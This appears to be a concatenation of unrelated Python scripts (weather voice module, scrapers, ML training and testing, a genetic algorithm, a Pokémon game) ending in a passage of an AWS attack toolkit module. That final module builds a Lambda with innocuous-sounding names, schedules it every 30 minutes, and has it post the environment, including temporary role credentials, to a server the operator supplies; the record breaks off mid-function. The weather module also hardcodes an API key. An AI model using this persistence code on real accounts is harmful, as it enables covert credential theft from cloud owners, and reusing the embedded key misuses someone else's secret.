        print("Found word in.. that means location is specified")
        location_temp = re.search("IN (\w+)", text, re.IGNORECASE)
        location_name = str(location_temp.group(1))
        name_start = ['NEW', 'SAN', 'ABU', 'PORT', 'KUALA', 'LOS']
        if location_name.upper() in name_start:
            print("Complex city name")
            location_temp2 = re.search(location_name + " (\w+)", text)
            location_name = location_name + " " + str(location_temp2.group(1))

    openWeatherCurrentUrl = 'http://api.openweathermap.org/data/2.5/weather?q=' + \
        location_name + '&units=metric&appid=4f95de0f661f4bb718a10067a7f27b60'
    openWeatherForeCastUrl = "api.openweathermap.org/data/2.5/forecast?q=" + \
        location_name + '&units=metric'

    responseObject = requests.get(openWeatherCurrentUrl)
    responseData = responseObject.json()

    temp_now = responseData['main']['temp']
    humidity = responseData['main']['humidity']
    description_short = responseData['weather'][0]['main']

    """
    sunset = responseData['sys']['sunset']
    sunrise = responseData['sys']['sunrise']
    temp_max = responseData['main']['temp_max']
    temp_min = responseData['main']['temp_min']
    temp_now = responseData['main']['temp']
    humidity = responseData['main']['humidity']
    description_short = responseData['weather'][0]['main']
    description_long = responseData['weather'][0]['description']
    print temp_max
    print temp_min
    print temp_now
    """

    iconCode = responseData['weather'][0]['icon']
    iconURL = 'http://openweathermap.org/img/w/' + iconCode + '.png'
    icon_path = jasperpath.WEATHER_ICONS + "/" + iconCode + '.png'

    if not os.path.isfile(icon_path):
        resp = requests.get(iconURL)
        if resp.status_code == 200:
            with open(icon_path, 'wb') as f:
                for chunk in resp.iter_content(1024):
                    f.write(chunk)

    weather_message = "It is currently " + str(temp_now) + " degrees with " + str(
        humidity) + " percent humidity. The weather type is " + description_short
    # Need to modify message according to weather_for

    visionProcess['image_path'] = icon_path
    # visionProcess['message']=weather_message
    # visionProcess['message_timeout']=int(5)
    speaker.clean_and_say(weather_message)

def isValid(text):
    """
        Returns True if the input is related to the meaning of life.

        Arguments:
        text -- user-input, typically transcribed speech
    """
    return bool(re.search(r'\bWhat is the weather', text, re.IGNORECASE)
                or re.search(r'\bWhat\'s the weather', text, re.IGNORECASE)
                or re.search(r'\bHow\'s the weather', text, re.IGNORECASE)
                or re.search(r'\bHow is the weather', text, re.IGNORECASE))


import pandas as pd
from collections import Counter
import matplotlib.pyplot as plt
import numpy as np

df = pd.read_csv('survey_results_responses.csv')

# print(df.head())

ids = df['ResponseId']
lang_responses = df['LanguageHaveWorkedWith']

languages_counter = Counter()

for response in lang_responses:
    if isinstance(response, str):
        languages_counter.update(response.split(';'))

languages = []
popularity = []

for item in languages_counter.most_common(15):
    languages.append(item[0])
    popularity.append(item[1])

print(languages)
print(popularity)

# plt.bar(languages, popularity)
plt.barh(languages, popularity)
plt.show()


import re
import json
import requests

from tqdm import tqdm
from bs4 import BeautifulSoup
from requests import Session
from concurrent.futures import ThreadPoolExecutor

def main():
    extractor = BibleExtractor()

    # list of all possible books
    book_nums = list(range(1, 67))

    # map of books to chapters to verse content
    data = []
    urls = []

    # generate a list of URLs for each chapter
    for book_num in tqdm(book_nums, desc="Generating URLs"):
        json_data = extractor.get_json_data_for_extra_verse_info(book_num)
        num_chapters = extractor.get_num_chapters_in_book(json_data)

        for chapter_num in range(1, num_chapters + 1):
            url = AppSettings.main_verse_url(book_num, chapter_num)
            urls.append(url)

    def fetch_and_extract(args):
        url, session = args
        response = session.get(url)

        if response.status_code == 200:
            # Extract book_num and chapter_num from the URL
            book_num, chapter_num = re.findall(r"/(\d+)/(\d+)", url)[0]
            book_num, chapter_num = int(book_num), int(chapter_num)

            # Extract verses
            chapter_data = {}
            json_data = extractor.get_json_data_for_extra_verse_info(book_num)
            num_verses = extractor.get_num_verses_in_chapter(chapter_num, json_data)
            for verse_num in range(1, num_verses + 1):
                if not response.content:
                    continue

                try:
                    verse = extractor.extract_verse_from_html(book_num, chapter_num, verse_num, response.content)
                except AttributeError as e:
                    print(f"Error extracting verse: {book_num} {chapter_num} {verse_num}")
                    continue
                chapter_data[verse_num] = verse

            return book_num, chapter_num, chapter_data
        return None

    with Session() as session:
        # Scrape each URL and map book to chapters to verses content
        with ThreadPoolExecutor(max_workers=10) as executor:
            args = [(url, session) for url in urls]
            for result in tqdm(executor.map(fetch_and_extract, args), total=len(urls), desc="Scraping"):
                if result:
                    book_num, chapter_num, chapter_data = result
                    data.append({"book": book_num, "chapter": chapter_num, "verses": chapter_data})

    with open("verses.json", "w") as f:
        json.dump({"data": data}, f)

class BibleExtractor:

    def extract_verse_from_html(self, book_num, chapter_num, verse_num, html_content):
        soup = BeautifulSoup(html_content, 'html.parser')
        verse_id_string = self.construct_verse_id(book_num, chapter_num, verse_num)
        verse = soup.select_one(f"#{verse_id_string}").text
        cleaned_verse = re.sub(r"[0-9+*]", "", verse).strip()

        return cleaned_verse

    def get_json_data_for_extra_verse_info(self, book_num):
        url = f"https://b.jw-cdn.org/apis/pub-media/GETPUBMEDIALINKS?pub=nwt&langwritten=E&txtCMSLang=E&fileformat=mp3&booknum={book_num}"
        response = requests.get(url)
        return json.loads(response.text)

    def construct_verse_id(self, book_num, chapter_num, verse_num):
        return f"v{book_num}-{chapter_num}-{verse_num}-1"

    def get_num_verses_in_chapter(self, chapter_num, json_data):
        num_verses = len(json_data["files"]["E"]["MP3"][int(chapter_num) - 1]["markers"]["markers"])
        return num_verses

    def get_num_chapters_in_book(self, json_data):
        num_chapters = len(json_data["files"]["E"]["MP3"])
        return num_chapters

    def get_book_name(self, json_data):
        book_name = json_data["pubName"]
        return book_name

class AppSettings:
    @staticmethod
    def main_verse_url(book_num, chapter_num):
        return f"https://wol.jw.org/en/wol/b/r1/lp-e/nwtsty/{book_num}/{chapter_num}#study=discover"

if __name__ == "__main__":
    main()


from fractions import Fraction
from re import search, findall

from converter import get_absolute_path_for_file, text_files_folder_path

analysis_folder_path = 'analysis'
resolution = 480, 4 # 480/8 o 960/16
exp_pitch = 'pitch=(\d+) '
exp_vol = 'vol=(\d+)'
exp_time = 'Time=(\d+) '
exp_division = 'division=(\d+)'
exp_signature = 'signature=(\d+)\/(\d+)'

def get_notes(text_file_name: str) -> list:
    note = []
    with open(text_file_name, mode='r') as fhandler:

        # div = 1440  # ticks for 3/8 bar
        # div = 1920  # ticks for 4/4 bar

        for i in fhandler:

            if 'division' in i:
                if search(exp_division, i):
                    division = int(search(exp_division, i).groups()[0])
                    if division != 480:
                        print(f"WARNING Division: {division}")

            if 'signature' in i:
                if search(exp_signature, i):
                    numerator, denominator = int(search(exp_signature, i).groups()[0]), \
                                             int(search(exp_signature, i).groups()[1])
                    signature = Fraction(numerator, denominator)
                    div = signature * division * resolution[1]

                    print(div)

            if 'Note on' in i:
                if search(exp_pitch, i) and search(exp_vol, i) and search(exp_time, i):
                    n = int(findall(exp_pitch, i)[0])
                    v = int(findall(exp_vol, i)[0])
                    start = int(findall(exp_time, i)[0])
                    note.append(
                        [n, v, -start, False, start, int(start / div), int(int((start % div) / resolution[0]))])

            if 'Note off' in i:
                if search(exp_pitch, i) and search(exp_vol, i) and search(exp_time, i):
                    n = int(findall(exp_pitch, i)[0])
                    end = int(findall(exp_time, i)[0])
                    res = [item for item in note if item[0] == n and item[3] == False]
                    if len(res) > 1:
                        print('error')
                        continue
                    res[0][2] += end
                    res[0][3] = True
    return note

def generate_file_a(notes: list, analysis_a_file: str):
    with open(analysis_a_file, 'w') as fhandler_output:
        last_bar = 0

        last_sub_bar = 0

        for n in notes:
            bar = n[5]
            sub_bar = n[6]

            if last_bar != bar:
                fhandler_output.write('------------- {0} -------------\n'.format(bar))
                last_bar = bar

            if last_sub_bar != sub_bar:
                fhandler_output.write('--- {0} ---\n'.format(sub_bar))
                last_sub_bar = sub_bar

            fhandler_output.write('N={0} D={2} V={1} P={3}\n'.format(n[0], n[1], n[2], n[4]))

def analysis_a(text_file: str):
    text_file_absolute_path = get_absolute_path_for_file(text_file, text_files_folder_path, 'txt')
    notes = get_notes(text_file_absolute_path)
    print(notes)
    analysis_file_absolute_path = get_absolute_path_for_file(text_file, analysis_folder_path, 'txt')
    generate_file_a(notes, analysis_file_absolute_path)


import os
from pkgutil import extend_path
import numpy as np
import PIL.Image as pil
import torch
import json

from .mono_dataset import MonoDataset

class Virtual_Kitti(MonoDataset):
    def __init__(self, *args, **kwargs):
        super(Virtual_Kitti, self).__init__(*args, **kwargs)
        self.K = np.array([[0.58, 0, 0.5, 0],
                           [0, 1.92, 0.5, 0],
                           [0, 0, 1, 0],
                           [0, 0, 0, 1]], dtype=np.float32)

        self.full_res_shape = (1242, 375)

        self.rgb_head = 'rgb_'
        self.depth_head = 'depth_'
        self.depth_img_ext ='.png'

    def check_depth(self):
        return True

    def get_color(self, folder, frame_index, side, do_flip=False):
        color = self.loader(os.path.join(self.data_path, 'rgb', folder, 'frames/rgb/Camera_0',
                                 (self.rgb_head + str(frame_index).zfill(5) + self.img_ext)))

        if do_flip:
            color = color.transpose(pil.FLIP_LEFT_RIGHT)

        return color

    def get_depth(self, folder, frame_index, side, do_flip=False):
        depth_path = os.path.join(self.data_path, 'depth', folder, 'frames/depth/Camera_0',
                                 (self.depth_head + str(frame_index).zfill(5) + self.depth_img_ext))
        depth_gt = pil.open(depth_path)
        depth_gt = np.array(depth_gt).astype(np.float32) * 80.0 / 65535.0

        if do_flip:
            depth_gt = np.fliplr(depth_gt)

        return depth_gt


import os.path
import sys
import threading
import time
import numpy as np
import torch
import yaml
import customDataset as dataset
import torchvision.transforms as tv
from torch.utils.data import DataLoader
import utils
import pandas as pd
import matplotlib.pyplot as plt
from model import NetworkModel

img_test_path: str
csv_test_path: str
dim: int
no_of_classes: int
weights: dict
obj_in_grid: int
one_dataset_image: bool
one_random_image: bool
draw_ground_truth: bool
image_path: str
labels: dict

def init():
    with open('configs/model-config.yaml') as f:
        configs = yaml.safe_load(f)

    testing_cfg = configs['testing']
    general_cfg = configs['general']
    global img_test_path
    img_test_path = testing_cfg['testing_img']
    global csv_test_path
    csv_test_path = testing_cfg['testing_csv']
    global dim
    dim = general_cfg['img_dim']
    global no_of_classes
    no_of_classes = general_cfg['no_of_classes']
    global weights
    weights = torch.load(testing_cfg['weights'])
    global obj_in_grid
    obj_in_grid = general_cfg['objects_in_grid']
    global one_dataset_image
    one_dataset_image = testing_cfg['oneDatasetImage']
    global one_random_image
    one_random_image = testing_cfg['oneRandomImage']
    if one_dataset_image or one_random_image:
        global image_path
        image_path = testing_cfg['image']
        global draw_ground_truth
        draw_ground_truth = testing_cfg['draw_ground_truth']

    with open('configs/pre-processing-config.yaml') as f:
        preproc_config = yaml.safe_load(f)

    global labels
    labels = preproc_config['processImages']['labels']

def test_img_section(key, d):
    d[key] = np.float16(d[key])
    d[key] = utils.image_checks(d[key], dim, dim)
    d[key], annotations = utils.torch_prepare(d[key], np.zeros((1, 5)))

    with torch.no_grad():
        outputs = network(cropped[key])

    final_pred = utils.FinalPredictions(outputs.cpu(), annotations)
    full_scale_pred.add_prediction(key, final_pred)

if __name__ == "__main__":
    init()

    # Loading saved model
    network = NetworkModel(no_of_classes, obj_in_grid, testing=True)
    try:
        network.load_state_dict(weights)
    except RuntimeError:
        print('Weights from file don\'t match model\'s weights shape, please check number of classes'
              ' and number of objects to be detected in a grid cell')
        print('exiting...')
        time.sleep(2)
        sys.exit(-1)

    network.eval()
    network.cuda()

    if one_dataset_image:
        print('Testing one image from DOTA dataset')
        annotations = pd.read_csv(os.path.join(csv_test_path, image_path + '.csv'), header=None)
        annotations = np.array(annotations)

        image = plt.imread(os.path.join(img_test_path, image_path + '.png'))
        image = image.astype(np.float16)
        image = utils.image_checks(image, dim, dim)
        image, annotations = utils.torch_prepare(image, annotations)

        with torch.no_grad():
            start = time.time_ns()
            outputs = network(image)
            end = time.time_ns()

        inference_time = (end - start) * (10**(-6))
        print(f'Inference time: {inference_time}')
        print('Detected objects: ')
        plt.figure()
        final_pred = utils.FinalPredictions(outputs.cpu(), annotations)
        annt_test = utils.FinalPredictions(annotations, annotations)
        image = plt.imread(os.path.join(img_test_path, image_path + '.png'))
        final_pred.draw_boxes()
        if draw_ground_truth:
            annt_test.draw_boxes(truths=True)
        plt.imshow(image)
        plt.show(block=True)

    elif one_random_image:
        print('Testing one random image')
        cropped = utils.crop_img(image_path, dim)
        full_scale_pred = utils.FullScalePrediction()
        threads = []
        for key in cropped:
            thread = threading.Thread(target=test_img_section, args=(key, cropped))
            threads.append(thread)

        [t.start() for t in threads]
        [t.join() for t in threads]

        plt.figure()
        img = plt.imread(image_path)
        full_scale_pred.to_full_scale()
        full_scale_pred.draw()
        plt.imshow(img)
        plt.show(block=True)
    else:
        print('Loading the testing dataset...')
        transform = tv.Compose([tv.ToTensor()])
        testing_dataset = dataset.AerialImagesDataset(
            csv_test_path, img_test_path, dim, no_of_classes, obj_in_grid, transform=transform)
        print('Dataset ready')

        print('Loading the testing dataloader...')
        test_loader = DataLoader(dataset=testing_dataset, batch_size=1, shuffle=False, num_workers=1)
        print('Testing dataloader ready')

        device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')

        durations = []
        for i, (image, annotations) in enumerate(test_loader):
            image = image.to(device)
            annotations = annotations.reshape(-1, 49 * (5 + no_of_classes))
            with torch.no_grad():
                start = time.time_ns()
                outputs = network(image)
                end = time.time_ns()
            duration_ms = (end-start) * (10**(-6))
            durations.append(duration_ms)
            final_pred = utils.FinalPredictions(outputs.cpu().to(torch.float32), annotations.to(torch.float32))

        mAP = utils.get_mAP()
        print(f'mAP: {mAP}')

        avg_inf_time = np.sum(np.asarray(durations)) / len(durations)
        print(f'Average inference time: {avg_inf_time} ms')

        true_pos_count = utils.get_TP_count()
        all_pos_count = utils.get_P_count()
        print(f'Objects detected correctly count: {true_pos_count}'
              f'\n All objects in testing set: {all_pos_count} \n'
              f'Ratio: {true_pos_count/all_pos_count} \n'
              f'Average ratio per image: {utils.get_avg_ratio()}')


#!/usr/bin/python
# -*- coding: utf-8 -*-
# author: beimingmaster@gmail.com

import os
import time
import json
import requests
from optparse import OptionParser

from common import config

def do_download(task_id):
    print('do download work for task id: %s ...' % task_id)
    file_url = None
    url_json_file = '%s/%s/url.json' % (config.data_path, task_id)
    data_json_file = '%s/%s/data.json' % (config.data_path, task_id)
    print('url json file: ', url_json_file)
    print('data json file: ', data_json_file)
    if not os.path.exists(url_json_file):
        print('url json file does not exist: ', url_json_file)
        return False
    elif os.path.exists(data_json_file):
        print('data json file does exist: ', data_json_file)
        return False
    with open(url_json_file, 'r', encoding='utf8') as f:
        url_json_data = json.load(f)
        if 'file_url' in url_json_data:
            file_url = url_json_data['file_url']
    print('file url: ', file_url)
    if file_url:
        try:
            r = requests.get(file_url, timeout=10, stream=True, verify=None)
            if r.status_code == 200:
                with open(data_json_file, 'wb') as f:
                    #f.write(r.text)
                    for chunk in r.iter_content(chunk_size=1024*1024):
                        if chunk:
                            f.write(chunk)
            else:
                print('downloading task data has error: %s' % file_url)
        except Exception as ex:
            print('requests has error', ex)
    else:
        print('file url is no exists for task_id : %s' % task_id)
        return False

if __name__ == '__main__':
    parser = OptionParser()
    parser.add_option('-t', '--task', type='string', dest='task_id', help='task id to analysis')
    (options, args) = parser.parse_args()
    print('options: ', options)
    print('args: ', args)
    task_id = options.task_id
    if task_id:
        start = time.time()
        do_download(task_id)
        end = time.time()
        print('doing download work takes %.2fs!' % (end-start))
    else:
        print('task id not provided')


#!/usr/bin/env python
import random
import logging
import datetime
import cPickle
from time import time

class GeneticAlgorithm(object):
    """Runs genetic algorithm, contains chromosomes and applies fitness,
    selection, recombination and mutation methods to them."""
    def __init__(self,
                 population_size,
                 survivors_per_round,
                 generations,
                 mutation_rate,
                 peptide_length,
                 fitness_function,
                 selection_function,
                 recombination_function,
                 chromosome_type,
                 chromosome_elements):
        self.population_size = population_size
        self.survivors_per_round = survivors_per_round
        self.generations = generations
        self.mutation_rate = mutation_rate
        self.chromosome_length = peptide_length
        self.current_generation = 0
        self.population = None
        self.selection_func = selection_function
        self.fitness_function = fitness_function
        self.recombination_function = recombination_function
        self.chromosome_type = chromosome_type
        self.elements = chromosome_elements
        self.run_record = []
        self.do_logging = True
        self._init_time = time()
        self._setup_ga()

    def run(self, do_logging=True):
        if do_logging:
            self.do_logging = True
            logging.info("-----RUNNING-GA-----")
        while self.current_generation < self.generations:
            self._run_selection_round()
        if self.do_logging:
            logging.info("-----FINISHED------")
            self.log_status()
        self.final_summary()

    def log_status(self):
        ave_fitness = lambda:sum(c.fitness for c in
                                 self.population)/self.population_size
        logging.info("\n\n..........")
        logging.info("Population size: %d" % self.population_size)
        logging.info("Survivors per round: %d" % self.survivors_per_round)
        logging.info("Current round %d/%d" % (self.current_generation,
                                              self.generations))
        time_elapsed = datetime.timedelta(seconds=round(time()-self._init_time))
        logging.info("Time elapsed %s" % str(time_elapsed))
        logging.info("Average Fitness %f" % ave_fitness())
        logging.info("..........\n\n")

    @classmethod
    def load_run(cls, f):
        with open(f) as data:
            return cPickle.load(data)

    def save(self):
        pickle_fname = "round%d.pkl" % self.current_generation
        with open(pickle_fname, 'wb') as f:
            cPickle.dump(self, f)

    def _setup_ga(self):
        assert self.survivors_per_round >= 2
        assert self.survivors_per_round < self.population_size
        assert 0.0 < self.mutation_rate < 1.0
        if self.do_logging:
            logging.info("\n\n\n-----BEGINNING-GA-RUN-----")
            logging.info("-----CALCULATING-INITIAL-GA-FITNESSES-----")
        self._random_initial_population()

    def _random_initial_population(self):
        random_chromosome = self.chromosome_type.random_chromosome
        self.population = []
        while len(self.population) < self.population_size:
            new_chromosome = random_chromosome(self.chromosome_length,
                                               self.mutation_rate,
                                               elements=self.elements)
            assert new_chromosome, "Failed to construct chromosome"
            if new_chromosome not in self.population:
                self.population.append(new_chromosome)
        self._calc_population_fitness()
        initial_statistics = {'initial_population': [(c.idx_name, c.fitness)
                                                     for c in self.population]}
        self.run_record.append(initial_statistics)

    def _calc_population_fitness(self):
        fitnesses = self.fitness_function(self.population)
        for chromosome, fitness in zip(self.population, fitnesses):
            #Fitness function modifies chromosome fitness in place
            chromosome.fitness = fitness

    def _run_selection_round(self):
        round_statistics = {'selected': [], 'children': []}
        seqs_as_str = lambda l: ", ".join(c.idx_name for c in l)
        if self.do_logging:
            self.log_status()
            logging.info("-----RUNNING-SELECTION-ROUND-----")
        self.current_generation += 1
        selected = []
        #Select survivors
        while len(selected) < self.survivors_per_round:
            selected_chromosomes = self.selection_func(self.population)
            assert [s in self.population for s in selected_chromosomes]
            selected.extend(selected_chromosomes)
            #Delete chosen chromosomes from selection pool (i.e. population)
            for selected_chromosome in selected_chromosomes:
                self.population.remove(selected_chromosome)
        if self.do_logging:
            logging.info("SELECTED CHROMOSOMES: %s" % seqs_as_str(selected))
        round_statistics['selected'] = [(c.idx_name, c.fitness)
                                        for c in selected]
        #Recombination of survivors to make children
        #Randomly select pairs of parents until there are enough children
        children = []
        while len(children) < self.population_size:
            p1, p2 = _random_choose_two(selected)
            new_sequence = self.recombination_function(p1.sequence, p2.sequence)
            #Random mutation of children
            child = self.chromosome_type(new_sequence, self.mutation_rate,
                                         elements=self.elements)
            child.mutate()
            #Do not add duplicate sequences
            if child.sequence not in [c.sequence for c in children]:
                children.append(child)
        if self.do_logging:
            logging.info("NEXT GENERATION: %s" % seqs_as_str(children))
        num_unique_sequences = len(set(c.sequence for c in children))
        assert num_unique_sequences == self.population_size
        self.population = children
        self._calc_population_fitness()
        round_statistics['children'] = [(c.idx_name, c.fitness)
                                        for c in self.population]
        self.run_record.append(round_statistics)
        self.save()

    def final_summary(self):
        with open('ga-summary.txt', 'w') as out:
            line = "Name: %s, Fitness %s"
            print>>out, "Initial Population:"
            for (name, fitness) in self.run_record[0]['initial_population']:
                print>>out, line % (name, fitness)
            print>>out, '\n'
            for i, ga_round in enumerate(self.run_record[1:]):
                print>>out, "Round %d" % (i+1)
                for step in ('selected', 'children'):
                    print>>out, step
                    for (name, fitness) in ga_round[step]:
                        print>>out, line % (name, fitness)
                print>>out

def _random_choose_two(seq):
    a = random.choice(seq)
    b = random.choice(seq)
    while b is not a:
        b = random.choice(seq)
    return a, b


from keras.models import Sequential
from keras.layers import Conv2D, MaxPooling2D, Flatten, Dense
from keras.callbacks import History
import matplotlib.pyplot as plt
from preprocessing import X_train, X_val, y_train, y_val

# Build model
model = Sequential()
model.add(Conv2D(32, (3, 3), activation='relu', input_shape=(64, 64, 3)))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Conv2D(64, (3, 3), activation='relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Flatten())
model.add(Dense(64, activation='relu'))
model.add(Dense(1, activation='sigmoid'))

# Compile model
model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])

# Train model
history = History()
model.fit(X_train, y_train, validation_data=(X_val, y_val), epochs=10, callbacks=[history])

# Plot training & validation accuracy values
plt.plot(history.history['accuracy'])
plt.plot(history.history['val_accuracy'])
plt.title('Model accuracy')
plt.ylabel('Accuracy')
plt.xlabel('Epoch')
plt.legend(['Train', 'Test'], loc='upper left')
plt.savefig('static/accuracy_plot.png')  # Save plot as image
plt.show()
plt.close()  # Close the figure

# Plot training & validation loss values
plt.plot(history.history['loss'])
plt.plot(history.history['val_loss'])
plt.title('Model loss')
plt.ylabel('Loss')
plt.xlabel('Epoch')
plt.legend(['Train', 'Test'], loc='upper left')
plt.savefig('static/loss_plot.png')  # Save plot as image
plt.show()
plt.close()  # Close the figure

# Save model
model.save('brain_tumor_model.h5')


import logging

from sentence_transformers import CrossEncoder
from psycopg.rows import class_row

from ssearch.core.db.postgres import db
from ssearch.core.models import SearchResult, DocumentMetadata
from ssearch.core.search.es import search_es
from ssearch.core.search.vector import search_faiss, fetch_chunk_ids

cross_encoder = CrossEncoder('cross-encoder/ms-marco-MiniLM-L-12-v2')

def fetch_document_metadata(ids):
    try:
        with db.connect() as conn:
            cur = conn.cursor(row_factory=class_row(DocumentMetadata))
            cur.execute(
                "SELECT id, file_name, file_type FROM documents WHERE id = ANY(%s)", [ids])
            results = cur.fetchall()
            conn.commit()
            return results
    except Exception as e:
        logging.error(f"Error fetching document metadata: {e}")
        return []

def rerank(query, results: SearchResult):
    pairs = [(query, hit.chunk_text) for hit in results]
    scores = cross_encoder.predict(pairs)

    for result, score in zip(results, scores):
        result.score = score

    results.sort(key=lambda x: x.score, reverse=True)
    return results

def merge_results(es_results, faiss_results):
    # Merge the results from ES and FAISS
    # Ensure that the results are unique
    results = list(
        {result.id: result for result in es_results + faiss_results}.values())
    return results

def search_hybrid(query, top_k):
    es_results = search_es(query, top_k)
    ids = search_faiss(query, top_k)
    faiss_results = fetch_chunk_ids(ids)
    results = merge_results(es_results, faiss_results)
    results = rerank(query, results)
    document_ids = [result.document_id for result in results]
    document_metadata = fetch_document_metadata(document_ids)
    metadata_dict = {metadata.id: metadata for metadata in document_metadata}
    for result in results:
        result.metadata = metadata_dict[result.document_id]

    return results

if __name__ == "__main__":
    # Test the search function
    query = "What is diffusion?"
    top_k = 10
    results = search_hybrid(query, top_k)
    print(results)
    # es_results = search_es(query, top_k)
    # print(es_results)
    # ids = search_faiss(query, top_k)
    # faiss_results = fetch_chunk_ids(ids)
    # print(faiss_results)
    # results = es_results + faiss_results
    # results = rerank(query, results)
    # print(results)


import random, requests

def random_pokemon():
    opponent_pokemon_number = random.randint(1, 151)
    url = 'https://pokeapi.co/api/v2/pokemon/{}/'.format(opponent_pokemon_number)
    response = requests.get(url)
    pokemon = response.json()

    return {
        'name': pokemon['name'],
        'id': pokemon['id'],
        'height': pokemon['height'],
        'weight': pokemon['weight'],
        'order': pokemon['order']
    }
#I am creating a best of 5 games between the player and the computer
player_wins = 0
computer_wins = 0

for wins in range(5):
    print()
    player_pokemon_number = input("Choose a pokemon number between 1 and 151 to pick a pokemon: ")
    print()

    url = 'https://pokeapi.co/api/v2/pokemon/{}/'.format(player_pokemon_number)
    response = requests.get(url)
    player_pokemon_number = response.json()
    print("Name: " + player_pokemon_number['name'])
    print("ID: " + str(player_pokemon_number['id']))
    print("Height: " + str(player_pokemon_number['height']))
    print("Weight: " + str(player_pokemon_number['weight']))
    print("Order: " + str(player_pokemon_number['order']))

    poke_stat = {
        'name': player_pokemon_number['name'],
        'id': player_pokemon_number['id'],
        'height': player_pokemon_number['height'],
        'weight': player_pokemon_number['weight'],
        'order': player_pokemon_number['order']
    }

    print()
    choose_stat: str = input('Select one stat you would like to compare between >> "id, height, weight, order: " ')

    opponent_pokemon_number = random_pokemon()
    print ()
    print('The opponent chose {}'.format(opponent_pokemon_number['name']))

    print("Name: " + opponent_pokemon_number['name'])
    print("ID: " + str(opponent_pokemon_number['id']))
    print("Height: " + str(opponent_pokemon_number['height']))
    print("Weight: " + str(opponent_pokemon_number['weight']))
    print("Order: " + str(opponent_pokemon_number['order']))

    player_stat = player_pokemon_number[choose_stat]
    opponent_stat = opponent_pokemon_number[choose_stat]

    #CALCULATIONS
    if player_stat > opponent_stat:
      player_wins += 1
      print("You win")

    elif player_stat < opponent_stat:
      computer_wins += 1
      print("You lost")

    else:
        print('Draw!')
#FINAL RESULTS
print("Your final results:")
if player_wins >= 3:
  print('CONGRATULATIONS You won {} out of 5 games'.format(player_wins))
elif computer_wins >= 3:
  print('You lost, The computer won {} out of 5 games :(, try again!'.format(computer_wins))
else:
  print("You won 2 games and The comuputer won 2 games, You drew")


import boto3
import botocore
import os
import time
import zipfile
from colorama import Fore, Style
from functions import create_client

def help():
    print(f"{Fore.YELLOW}\n================================================================================================{Style.RESET_ALL}")
    print("[+] Module Description:\n")
    print("\tThis module will create a lambda persistency that will export the temporary credentials")
    print("\tfor the role attached to it to a server of your choosing.\n")

    print("[+] Module Functionality:\n")
    print("\tThe module will ask you for an address of a server you control, the arn of a role to be")
    print("\tpassed to the new lambda function and the region to create the lambda. It then will create")
    print("\tthe lambda function and assign a trigger that will execute this function every 30 minutes.\n")

    print("[+] IMPORTANT:\n")
    print("\tYou need the 'iam:passrole' and 'lambda:create_function' permissions.")
    print(f"{Fore.YELLOW}\n================================================================================================{Style.RESET_ALL}")

def aws_file():
    with open("lambda_function.zip", 'rb') as file_data:
        bytes_content = file_data.read()

    return bytes_content

def create_lambda(client, function_role):
    response = client.create_function(
        FunctionName="EventMonitorFunction",
        Runtime="python3.9",
        Role=function_role,
        Handler="lambda_function.lambda_handler",
        Code={
            "ZipFile": aws_file()
        },
        Description="Lambda de monitoramento de Eventos do CloudWatch.",
        Publish=True,
        PackageType="Zip"
       )

    return response

def create_eventbrige_rule(client):
    rule = client.put_rule(
        Name='EventMonitor',
        ScheduleExpression="rate(30 minutes)",
        Description="Monitora eventos do CloudWath."
    )

    return rule

def create_lambda_file(server_address, lambda_path):
    lambda_code = f"""
import json
import os
import requests

def lambda_handler(event, context):
    environment = os.environ.copy()
    requests.post('http://{server_address}/', json=environment, timeout=0.01)
    return '200 OK'
"""

    try:
        print('[+] Zipping Lambda function...\n')
        with zipfile.ZipFile(lambda_path, 'w', zipfile.ZIP_DEFLATED) as zip_file:
            zip_file.writestr('lambda_function.py', lambda_code)
    except Exception as e:
        print('Failed to zip Lambda: {}\n'.format(e))

def assign_rule_target(client,function_name, function_arn):
    response = client.put_targets(
        Rule="EventMonitor",
        Targets=[
            {
                'Id': function_name,
                'Arn': function_arn
            }
        ]
    )

    return response

def assign_trigger(client, function_name, rule_arn):
    response = client.add_permission(
        FunctionName=function_name,
        StatementId='EventBridgeFunctionPermission',
        Action='lambda:InvokeFunction',
        Principal='events.amazonaws.com',
        SourceArn=rule_arn
    )

    return response

def create_lambda_layer(client):
    with open("./data/requests.zip", 'rb') as file_data:
        bytes_content = file_data.read()
    response = client.publish_layer_version(
            LayerName='layer_requests',
        Description='Used to perform standard HTTP requests.',
        Content={'ZipFile': bytes_content},
        CompatibleRuntimes=['python3.9']
    )

    return response

def check_lambda_status(client, function_name):
    response = client.get_function(
        FunctionName=function_name
    )

    if response['Configuration']['State'] == 'Active':
        return True
    else:
        return False

def invoke_lambda(client, function_name):
    response = client.invoke(
        FunctionName=function_name,
    )

    return response

def update_layer_information(client, function_name):
    response = client.update_function_configuration(
        FunctionName=function_name,
        Layers=[
            'arn:aws:lambda:sa-east-1:601904299386:layer:layer_requests:1'
        ]
    )

    return response

def main(botoconfig, session):
    results = {}

    print("[+] Starting persistence module...")
    function_role = input("[+] Please input the " + Fore.YELLOW + "role arn" + Style.RESET_ALL + " to be passed to the Lambda function: ")
    region_name = input("[+] Please input the " + Fore.YELLOW + "region" + Style.RESET_ALL + " to be used: ")
    server_address = input("[+] Please input the " + Fore.YELLOW + "server address" + Style.RESET_ALL + " to be used: ")
    lambda_path = './lambda_function.zip'

    print("[+] Creating Lambda file...")
    create_lambda_file(server_address, lambda_path)

    print("[+] Creating EventBridge Rule...")
    event_client = create_client.Client(botoconfig, session, "events", region_name)
    rule_data = create_eventbrige_rule(event_client.create_aws_client())
    print(f"[+] Rule created: {Fore.GREEN}{rule_data['RuleArn']}{Style.RESET_ALL}")
    results['RuleArn'] = rule_data['RuleArn']

    print("[+] Creating Lambda Function...")
    lambda_client = create_client.Client(botoconfig, session, "lambda", region_name)
    function_data = create_lambda(lambda_client.create_aws_client(), function_role)
    print(f"[+] Lambda created: {Fore.GREEN}{function_data['FunctionName']}{Style.RESET_ALL}")
    results['FunctionName'] = function_data['FunctionName']
    results['FunctionArn'] = function_data['FunctionArn']

    print("[+] Assigning target to EventBridge rule...")
    target = assign_rule_target(event_client.create_aws_client(), function_data['FunctionName'], function_data['FunctionArn'])
    if target ['ResponseMetadata']['HTTPStatusCode'] == 200:
        print(f"{Fore.GREEN}[+] Targed Successfully Assinged!{Style.RESET_ALL}")
    else:
        print(f"{Fore.RED}[-] Failed to assign target...{Style.RESET_ALL}")

    print("[+] Assigning trigger to Lambda function...")
